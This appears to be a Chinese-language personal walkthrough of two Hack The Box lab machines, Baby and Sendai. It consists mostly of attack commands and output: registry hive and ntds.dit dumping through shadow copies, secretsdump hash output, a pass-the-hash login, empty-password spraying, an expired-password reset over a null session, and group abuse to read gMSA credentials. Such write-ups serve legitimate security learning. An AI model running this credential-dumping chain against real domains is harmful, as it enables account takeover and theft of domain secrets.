/home/wackymaker/.local/share/pipx/venvs/netexec/lib/python3.13/site-packages/masky/lib/smb.py:6: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  from pkg_resources import resource_filename
SMB         10.129.42.166   445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domin:baby.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.42.166   445    BABYDC           [+] baby.vl\Caroline.Robinson:SunnyDay2025! 
BACKUP_O... 10.129.42.166   445    BABYDC           [*] Triggering RemoteRegistry to start through named pipe...
BACKUP_O... 10.129.42.166   445    BABYDC           Saved HKLM\SAM to \\10.129.42.166\SYSVOL\SAM
BACKUP_O... 10.129.42.166   445    BABYDC           Saved HKLM\SYSTEM to \\10.129.42.166\SYSVOL\SYSTEM
BACKUP_O... 10.129.42.166   445    BABYDC           Saved HKLM\SECURITY to \\10.129.42.166\SYSVOL\SECURITY
SMB         10.129.42.166   445    BABYDC           [*] Copying "SAM" to "/home/wackymaker/.nxc/logs/BABYDC_10.129.42.166_2025-09-18_230638.SAM"
SMB         10.129.42.166   445    BABYDC           [+] File "SAM" was downloaded to "/home/wackymaker/.nxc/logs/BABYDC_10.129.42.166_2025-09-18_230638.SAM"
SMB         10.129.42.166   445    BABYDC           [*] Copying "SECURITY" to "/home/wackymaker/.nxc/logs/BABYDC_10.129.42.166_2025-09-18_230638.SECURITY"
SMB         10.129.42.166   445    BABYDC           [+] File "SECURITY" was downloaded to "/home/wackymaker/.nxc/logs/BABYDC_10.129.42.166_2025-09-18_230638.SECURITY"
SMB         10.129.42.166   445    BABYDC           [*] Copying "SYSTEM" to "/home/wackymaker/.nxc/logs/BABYDC_10.129.42.166_2025-09-18_230638.SYSTEM"
SMB         10.129.42.166   445    BABYDC           [+] File "SYSTEM" was downloaded to "/home/wackymaker/.nxc/logs/BABYDC_10.129.42.166_2025-09-18_230638.SYSTEM"
BACKUP_O... 10.129.42.166   445    BABYDC           Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43:::
BACKUP_O... 10.129.42.166   445    BABYDC           Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
BACKUP_O... 10.129.42.166   445    BABYDC           DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
BACKUP_O... 10.129.42.166   445    BABYDC           $MACHINE.ACC:plain_password_hex:0d43eb797b84b0b440fbcb0d89fea14f8458970482b891850f2d2106c7c08447f2aa725adc71c58241311e5cebf5b75d43f5b541a43d583665ea4669bee9d1910c4ee1f4703104fccf44eb3ac2b3bb31ed1712e4fca7e416d3bd561993cd88a9750b0a04466909e51660a3fec061e9f5a51e8e10fe8c2653cd610140611ea9cd2fc1f436829369373bfb51fc5214666a9073e7a8124f4a07414ee0a7e565f24745f2ec5f134e7b7dca577813e5e82867ea33b16a1797c51703731eb1e4273db597063d62cb7f1c1a0faae15ab06aadea286b87cf6f2d28127fb948113c6b57c92a97c1aad038f958404b27f6e6d6fba5
BACKUP_O... 10.129.42.166   445    BABYDC           $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:3d538eabff6633b62dbaa5fb5ade3b4d
BACKUP_O... 10.129.42.166   445    BABYDC           dpapi_machinekey:0xe620195f1a5e2d71842bbad9877d7c3ca8a31eda
dpapi_userkey:0x026920834cd39c2e8ba9401c44a8869fe6be0555
BACKUP_O... 10.129.42.166   445    BABYDC           NL$KM:b696c77e178a0cdd8c39c20aa2912444a2e44dc2095946c07f95ea11cb7fcb72ec2e5a06011b26fe6da7880fa5e71fa596cde53fa0065ec1a501a1ce8c247695
SMB         10.129.42.166   445    BABYDC           [-] baby.vl\Administrator:8d992faed38128ae85e95fa35868bb43 SessionError
BACKUP_O... 10.129.42.166   445    BABYDC           [*] Use the domain admin account to clean the file on the remote host
BACKUP_O... 10.129.42.166   445    BABYDC           [*] netexec smb dc_ip -u user -p pass -x "del C:\Windows\sysvol\sysvol\SECURITY && del C:\Windows\sysvol\sysvol\SAM && del C:\Windows\sysvol\sysvol\SYSTEM"

但是sam抓出来的本地管理员不是域管理员登陆不上，psexec也没法本地管理员登陆。估计是禁用了

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ evil-winrm -i 10.129.64.108 -u 'administrator' -H '8d992faed38128ae85e95fa35868bb43'
                                        
Evil-WinRM shell v3.7 
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline 
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion 
                                        
Info: Establishing connection to remote endpoint 
                                        
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError 
                                        
Error: Exiting with code 1

只能打卷影复制器

*Evil-WinRM* PS C:\Users\Caroline.Robinson\AppData\Local\Temp> echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii
*Evil-WinRM* PS C:\Users\Caroline.Robinson\AppData\Local\Temp> echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append
*Evil-WinRM* PS C:\Users\Caroline.Robinson\AppData\Local\Temp> echo "create" | out-file ./diskshadow.txt -encoding ascii -append 
*Evil-WinRM* PS C:\Users\Caroline.Robinson\AppData\Local\Temp> echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append
*Evil-WinRM* PS C:\Users\Caroline.Robinson\AppData\Local\Temp> diskshadow.exe /s C:\Users\Caroline.Robinson\AppData\Local\Temp\diskshadow.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  BABYDC,  9/19/2025 3:28:54 AM

-> set context persistent nowriters
-> add volume c: alias temp
-> create
Alias temp for shadow ID {a423bade-6a97-4a48-882e-1ca7312f498f} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {7a62d230-0941-4238-8904-5fed8646ecab} set as environment variable.

Querying all shadow copies with the shadow copy set ID {7a62d230-0941-4238-8904-5fed8646ecab}

	* Shadow copy ID = {a423bade-6a97-4a48-882e-1ca7312f498f}		%temp%
		- Shadow copy set: {7a62d230-0941-4238-8904-5fed8646ecab}	%VSS_SHADOW_SET%
		- Original count of shadow copies = 1
		- Original volume name: \\?\Volume{711fc68a-0000-0000-0000-100000000000}\ [C:\]
		- Creation time: 9/19/2025 3:28:54 AM
		- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
		- Originating machine: BabyDC.baby.vl
		- Service machine: BabyDC.baby.vl
		- Not exposed
		- Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
		- Attributes:  No_Auto_Release Persistent No_Writers Differential

Number of shadow copies listed: 1
-> expose %temp% z:
-> %temp% = {a423bade-6a97-4a48-882e-1ca7312f498f}
The shadow copy was successfully exposed as z:\.
->
*Evil-WinRM* PS C:\Users\Caroline.Robinson\AppData\Local\Temp> robocopy /B Z:\Windows\NTDS . ntds.dit

-------------------------------------------------------------------------------
   ROBOCOPY     ::     Robust File Copy for Windows
-------------------------------------------------------------------------------

  Started : Friday, September 19, 2025 3:29:44 AM
   Source : Z:\Windows\NTDS\
     Dest : C:\Users\Caroline.Robinson\AppData\Local\Temp\

    Files : ntds.dit

  Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30

------------------------------------------------------------------------------

	                   1	Z:\Windows\NTDS\
	    New File  		  16.0 m	ntds.dit
  0.0%
  0.3%
  0.7%
  1.1%
...........
 99.2%
 99.6%
100%
100%

------------------------------------------------------------------------------

               Total    Copied   Skipped  Mismatch    FAILED    Extras
    Dirs :         1         0         1         0         0         0
   Files :         1         1         0         0         0         0
   Bytes :   16.00 m   16.00 m         0         0         0         0
   Times :   0:00:00   0:00:00                       0:00:00   0:00:00


   Speed :           153,919,412 Bytes/sec.
   Speed :             8,807.340 MegaBytes/min.
   Ended : Friday, September 19, 2025 3:29:44 AM

*Evil-WinRM* PS C:\Users\Caroline.Robinson\AppData\Local\Temp> reg save hklm\system C:\SYSTEM
The operation completed successfully.

*Evil-WinRM* PS C:\Users\Caroline.Robinson\AppData\Local\Temp> dir


    Directory: C:\Users\Caroline.Robinson\AppData\Local\Temp


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/19/2025   3:28 AM            610 2025-09-19_3-28-54_BABYDC.cab
-a----         9/19/2025   3:24 AM            510 Dis2C4D.tmp
-a----         9/19/2025   3:26 AM           1356 Dis3D2C.tmp
-a----         9/19/2025   3:28 AM           2294 Dis6A0E.tmp
-a----         9/19/2025   3:28 AM             86 diskshadow.txt
-a----         9/19/2025   3:28 AM           1176 Manifest.xml
-a----         9/19/2025   3:16 AM       16777216 ntds.dit


*Evil-WinRM* PS C:\Users\Caroline.Robinson\AppData\Local\Temp> download ntds.dit
                                        
Info: Downloading C:\Users\Caroline.Robinson\AppData\Local\Temp\ntds.dit to ntds.dit 
                                        
Info: Download successful! 
*Evil-WinRM* PS C:\Users\Caroline.Robinson\AppData\Local\Temp> download system
                                        
Info: Downloading C:\Users\Caroline.Robinson\AppData\Local\Temp\system to system 
                                        
Error: Download failed. Check filenames or paths 
*Evil-WinRM* PS C:\Users\Caroline.Robinson\AppData\Local\Temp> download c:/system
                                        
Info: Downloading c:/system to system 
                                        
Info: Download successful! 
*Evil-WinRM* PS C:\Users\Caroline.Robinson\AppData\Local\Temp>

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ impacket-secretsdump -system system -ntds ntds.dit LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 41d56bf9b458d01951f592ee4ba00ea6
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee4457ae59f1e3fbd764e33d9cef123d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
BABYDC$:1000:aad3b435b51404eeaad3b435b51404ee:3d538eabff6633b62dbaa5fb5ade3b4d:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6da4842e8c24b99ad21a92d620893884:::
baby.vl\Jacqueline.Barnett:1104:aad3b435b51404eeaad3b435b51404ee:20b8853f7aa61297bfbc5ed2ab34aed8:::
baby.vl\Ashley.Webb:1105:aad3b435b51404eeaad3b435b51404ee:02e8841e1a2c6c0fa1f0becac4161f89:::
baby.vl\Hugh.George:1106:aad3b435b51404eeaad3b435b51404ee:f0082574cc663783afdbc8f35b6da3a1:::
baby.vl\Leonard.Dyer:1107:aad3b435b51404eeaad3b435b51404ee:b3b2f9c6640566d13bf25ac448f560d2:::
baby.vl\Ian.Walker:1108:aad3b435b51404eeaad3b435b51404ee:0e440fd30bebc2c524eaaed6b17bcd5c:::
baby.vl\Connor.Wilkinson:1110:aad3b435b51404eeaad3b435b51404ee:e125345993f6258861fb184f1a8522c9:::
baby.vl\Joseph.Hughes:1112:aad3b435b51404eeaad3b435b51404ee:31f12d52063773769e2ea5723e78f17f:::
baby.vl\Kerry.Wilson:1113:aad3b435b51404eeaad3b435b51404ee:181154d0dbea8cc061731803e601d1e4:::
baby.vl\Teresa.Bell:1114:aad3b435b51404eeaad3b435b51404ee:7735283d187b758f45c0565e22dc20d8:::
baby.vl\Caroline.Robinson:1115:aad3b435b51404eeaad3b435b51404ee:5fa67a134024d41bb4ff8bfd7da5e2b5:::
[*] Kerberos keys from ntds.dit 
Administrator:aes256-cts-hmac-sha1-96:ad08cbabedff5acb70049bef721524a23375708cadefcb788704ba00926944f4
Administrator:aes128-cts-hmac-sha1-96:ac7aa518b36d5ea26de83c8d6aa6714d
Administrator:des-cbc-md5:d38cb994ae806b97
BABYDC$:aes256-cts-hmac-sha1-96:1a7d22edfaf3a8083f96a0270da971b4a42822181db117cf98c68c8f76bcf192
BABYDC$:aes128-cts-hmac-sha1-96:406b057cd3a92a9cc719f23b0821a45b
BABYDC$:des-cbc-md5:8fef68979223d645
krbtgt:aes256-cts-hmac-sha1-96:9c578fe1635da9e96eb60ad29e4e4ad90fdd471ea4dff40c0c4fce290a313d97
krbtgt:aes128-cts-hmac-sha1-96:1541c9f79887b4305064ddae9ba09e14
krbtgt:des-cbc-md5:d57383f1b3130de5
baby.vl\Jacqueline.Barnett:aes256-cts-hmac-sha1-96:851185add791f50bcdc027e0a0385eadaa68ac1ca127180a7183432f8260e084
baby.vl\Jacqueline.Barnett:aes128-cts-hmac-sha1-96:3abb8a49cf283f5b443acb239fd6f032
baby.vl\Jacqueline.Barnett:des-cbc-md5:01df1349548a206b
baby.vl\Ashley.Webb:aes256-cts-hmac-sha1-96:fc119502b9384a8aa6aff3ad659aa63bab9ebb37b87564303035357d10fa1039
baby.vl\Ashley.Webb:aes128-cts-hmac-sha1-96:81f5f99fd72fadd005a218b96bf17528
baby.vl\Ashley.Webb:des-cbc-md5:9267976186c1320e
baby.vl\Hugh.George:aes256-cts-hmac-sha1-96:0ea359386edf3512d71d3a3a2797a75db3168d8002a6929fd242eb7503f54258
baby.vl\Hugh.George:aes128-cts-hmac-sha1-96:50b966bdf7c919bfe8e85324424833dc
baby.vl\Hugh.George:des-cbc-md5:296bec86fd323b3e
baby.vl\Leonard.Dyer:aes256-cts-hmac-sha1-96:6d8fd945f9514fe7a8bbb11da8129a6e031fb504aa82ba1e053b6f51b70fdddd
baby.vl\Leonard.Dyer:aes128-cts-hmac-sha1-96:35fd9954c003efb73ded2fde9fc00d5a
baby.vl\Leonard.Dyer:des-cbc-md5:022313dce9a252c7
baby.vl\Ian.Walker:aes256-cts-hmac-sha1-96:54affe14ed4e79d9c2ba61713ef437c458f1f517794663543097ff1c2ae8a784
baby.vl\Ian.Walker:aes128-cts-hmac-sha1-96:78dbf35d77f29de5b7505ee88aef23df
baby.vl\Ian.Walker:des-cbc-md5:bcb094c2012f914c
baby.vl\Connor.Wilkinson:aes256-cts-hmac-sha1-96:55b0af76098dfe3731550e04baf1f7cb5b6da00de24c3f0908f4b2a2ea44475e
baby.vl\Connor.Wilkinson:aes128-cts-hmac-sha1-96:9d4af8203b2f9e3ecf64c1cbbcf8616b
baby.vl\Connor.Wilkinson:des-cbc-md5:fda762e362ab7ad3
baby.vl\Joseph.Hughes:aes256-cts-hmac-sha1-96:2e5f25b14f3439bfc901d37f6c9e4dba4b5aca8b7d944957651655477d440d41
baby.vl\Joseph.Hughes:aes128-cts-hmac-sha1-96:39fa92e8012f1b3f7be63c7ca9fd6723
baby.vl\Joseph.Hughes:des-cbc-md5:02f1cd9e52e0f245
baby.vl\Kerry.Wilson:aes256-cts-hmac-sha1-96:db5f7da80e369ee269cd5b0dbaea74bf7f7c4dfb3673039e9e119bd5518ea0fb
baby.vl\Kerry.Wilson:aes128-cts-hmac-sha1-96:aebbe6f21c76460feeebea188affbe01
baby.vl\Kerry.Wilson:des-cbc-md5:1f191c8c49ce07fe
baby.vl\Teresa.Bell:aes256-cts-hmac-sha1-96:8bb9cf1637d547b31993d9b0391aa9f771633c8f2ed8dd7a71f2ee5b5c58fc84
baby.vl\Teresa.Bell:aes128-cts-hmac-sha1-96:99bf021e937e1291cc0b6e4d01d96c66
baby.vl\Teresa.Bell:des-cbc-md5:4cbcdc3de6b50ee9
baby.vl\Caroline.Robinson:aes256-cts-hmac-sha1-96:6fe5d46e01d6cf9909f479fb4d7afac0bd973981dd958e730a734aa82c9e13af
baby.vl\Caroline.Robinson:aes128-cts-hmac-sha1-96:f34e6c0c8686a46eea8fd15a361601f9
baby.vl\Caroline.Robinson:des-cbc-md5:fd40190d579138df
[*] Cleaning up...

成功登陆

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ evil-winrm -i 10.129.64.108 -u 'administrator' -H 'ee4457ae59f1e3fbd764e33d9cef123d'
                                        
Evil-WinRM shell v3.7 
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline 
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion 
                                        
Info: Establishing connection to remote endpoint 
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami /all

USER INFORMATION
----------------

User Name          SID
================== =============================================
baby\administrator S-1-5-21-1407081343-4001094062-1444647654-500


GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                           Attributes
=========================================== ================ ============================================= ===============================================================
Everyone                                    Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                      Alias            S-1-5-32-544                                  Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Users                               Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group
BABY\Group Policy Creator Owners            Group            S-1-5-21-1407081343-4001094062-1444647654-520 Mandatory group, Enabled by default, Enabled group
BABY\Domain Admins                          Group            S-1-5-21-1407081343-4001094062-1444647654-512 Mandatory group, Enabled by default, Enabled group
BABY\Schema Admins                          Group            S-1-5-21-1407081343-4001094062-1444647654-518 Mandatory group, Enabled by default, Enabled group
BABY\Enterprise Admins                      Group            S-1-5-21-1407081343-4001094062-1444647654-519 Mandatory group, Enabled by default, Enabled group
BABY\Denied RODC Password Replication Group Alias            S-1-5-21-1407081343-4001094062-1444647654-572 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                   Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level        Label            S-1-16-12288


PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeMachineAccountPrivilege                 Add workstations to domain                                         Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

sendai-wp

Thu, 18 Sep 2025 21:40:42 +0800

初始侦察

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ cat rustscan.txt 
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Breaking and entering... into the world of open ports.

[~] The config file is expected to be at "/home/wackymaker/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.129.234.66:53
Open 10.129.234.66:80
Open 10.129.234.66:88
Open 10.129.234.66:135
Open 10.129.234.66:139
Open 10.129.234.66:389
Open 10.129.234.66:443
Open 10.129.234.66:445
Open 10.129.234.66:464
Open 10.129.234.66:593
Open 10.129.234.66:636
Open 10.129.234.66:3269
Open 10.129.234.66:3268
Open 10.129.234.66:3389
Open 10.129.234.66:5985
Open 10.129.234.66:9389

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ cat hostname 
10.129.234.66     DC.sendai.vl sendai.vl DC

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ cat start.sh 
ip=10.129.234.66

80和443虽然开启，但都是iis初始页面，先不着急

存在匿名smb，看信息

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ nxc smb "$ip" -u guest -p '' --shares
SMB         10.129.234.66   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:sendai.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.66   445    DC               [+] sendai.vl\guest: 
SMB         10.129.234.66   445    DC               [*] Enumerated shares
SMB         10.129.234.66   445    DC               Share           Permissions     Remark
SMB         10.129.234.66   445    DC               -----           -----------     ------
SMB         10.129.234.66   445    DC               ADMIN$                          Remote Admin
SMB         10.129.234.66   445    DC               C$                              Default share
SMB         10.129.234.66   445    DC               config                          
SMB         10.129.234.66   445    DC               IPC$            READ            Remote IPC
SMB         10.129.234.66   445    DC               NETLOGON                        Logon server share
SMB         10.129.234.66   445    DC               sendai          READ            company share
SMB         10.129.234.66   445    DC               SYSVOL                          Logon server share
SMB         10.129.234.66   445    DC               Users           READ            

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]

users目录没什么东西，但是sendai中我获得了一些用户名

smb: \> cd transfer\
smb: \transfer\> dir
  .                                   D        0  Tue Jul 11 09:00:20 2023
  ..                                  D        0  Tue Jul 18 13:31:04 2023
  anthony.smith                       D        0  Tue Jul 11 08:59:50 2023
  clifford.davey                      D        0  Tue Jul 11 09:00:06 2023
  elliot.yates                        D        0  Tue Jul 11 08:59:26 2023
  lisa.williams                       D        0  Tue Jul 11 08:59:34 2023
  susan.harper                        D        0  Tue Jul 11 08:59:39 2023
  temp                                D        0  Tue Jul 11 09:00:16 2023
  thomas.powell                       D        0  Tue Jul 11 08:59:45 2023

		7019007 blocks of size 4096. 855070 blocks available
smb: \transfer\> cd ../
smb: \> dir
  .                                   D        0  Tue Jul 18 13:31:04 2023
  ..                                DHS        0  Tue Apr 15 22:55:42 2025
  hr                                  D        0  Tue Jul 11 08:58:19 2023
  incident.txt                        A     1372  Tue Jul 18 13:34:15 2023
  it                                  D        0  Tue Jul 18 09:16:46 2023
  legal                               D        0  Tue Jul 11 08:58:23 2023
  security                            D        0  Tue Jul 18 09:17:35 2023
  transfer                            D        0  Tue Jul 11 09:00:20 2023

		7019007 blocks of size 4096. 853509 blocks available
smb: \> get incident.txt 
getting file \incident.txt of size 1372 as incident.txt (3.4 KiloBytes/sec) (average 7.0 KiloBytes/sec)
smb: \> dir
  .                                   D        0  Tue Jul 18 13:31:04 2023
  ..                                DHS        0  Tue Apr 15 22:55:42 2025
  hr                                  D        0  Tue Jul 11 08:58:19 2023
  incident.txt                        A     1372  Tue Jul 18 13:34:15 2023
  it                                  D        0  Tue Jul 18 09:16:46 2023
  legal                               D        0  Tue Jul 11 08:58:23 2023
  security                            D        0  Tue Jul 18 09:17:35 2023
  transfer                            D        0  Tue Jul 11 09:00:20 2023

		7019007 blocks of size 4096. 852101 blocks available
smb: \>

重置密码

还有一些文本文件，重点则是如下

事件通知（incident.txt）

亲爱的员工们：

希望您一切安好。我们在此通知一项关于用户账户密码的重要安全更新。

近期，我们进行了全面的渗透测试，发现大量用户账户使用了弱且不安全的密码。
为了解决这一问题并维护公司内部最高等级的安全性，IT 部门已采取紧急措施：所有使用不安全密码的用户账户已被强制过期。
这意味着，受影响的用户在下次登录时必须重置密码。

我们诚挚地请求所有受影响的用户尽快完成密码重置流程，以确保系统的安全性和完整性。请记住，强密码在保护敏感信息和抵御潜在威胁方面起着至关重要的作用。

如果您在重置密码过程中需要帮助，或有任何相关问题，请随时联系 IT 支持团队。他们将非常乐意为您提供指导和必要的支持。

感谢您为维护我们共同的安全环境所做的配合与努力。您对安全规范的警惕与遵守为我们的整体安全作出了重要贡献。

我之前经历过获得的用户是初始密码过期的目标用户，但是当时我已经获得了此用户的原始密码，所以我有权限直接通过远程修改密码，但是这次不太一样，我只能初步判断，目标用户的账户和密码应该是一样的，为了验证这一块，我需要rid爆破获取近乎所有用户，之后直接空密码爆破可以

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ nxc ldap $ip -u users -p "" --continue-on-success
LDAP        10.129.234.66   389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:sendai.vl) (signing:None) (channel binding:Never)
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Administrator: 
LDAP        10.129.234.66   389    DC               [-] Error in searchRequest -> operationsError: 000004DC: LdapErr: DSID-0C090D10, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4f7c
LDAP        10.129.234.66   389    DC               [+] sendai.vl\Guest: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\krbtgt: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\DC$: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\sqlsvc: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\websvc: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Dorothy.Jones: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Kerry.Robinson: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Naomi.Gardner: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Anthony.Smith: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Susan.Harper: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Stephen.Simpson: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Marie.Gallagher: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Kathleen.Kelly: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Norman.Baxter: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Jason.Brady: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Elliot.Yates: STATUS_PASSWORD_MUST_CHANGE
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Malcolm.Smith: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Lisa.Williams: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Ross.Sullivan: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Clifford.Davey: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Declan.Jenkins: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Lawrence.Grant: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Leslie.Johnson:

可以看到Elliot.Yates是一个过期用户，我尝试使用nxc直接修改密码，但是失败了，所以我开始枚举这篇文章他引导我到了impacket的一个pull工单，让我意识到changepass.py使用ms-rpc更改是个能绕过的办法

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ impacket-changepasswd sendai.vl/Elliot.Yates:""@$ip -newpass wackMaker1!
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Current password: 
[*] Changing the password of sendai.vl\Elliot.Yates
[*] Connecting to DCE/RPC as sendai.vl\Elliot.Yates
[!] Password is expired or must be changed, trying to bind with a null session.
[*] Connecting to DCE/RPC as null session
[*] Password was changed successfully.

当我查看参数直接键入密码的时候，成功更改完毕，我们的连接也正常

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ nxc smb $ip -u Elliot.Yates -p wackMaker1!
SMB         10.129.234.66   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:sendai.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.66   445    DC               [+] sendai.vl\Elliot.Yates:wackMaker1!

可惜没有winrm权限，但是我们有足够的凭据抓取猎犬了

因为我懒得贴图片，所以直接口语描述路径了

ELLIOT.YATES@SENDAI.VL属于support组，而这个组对admsvc组有通用all权限，admsvc组对MGTSVC$@SENDAI.VL这个用户有读gmsa的权限

很简单的流程，将自己加入组，直接读gmsa

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ bloodyAD --host $FQDN --dc-ip $ip -d "$domain" -u "$user" -p "$pass" add groupMember ADMSVC "$user"
[+] Elliot.Yates added to ADMSVC

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
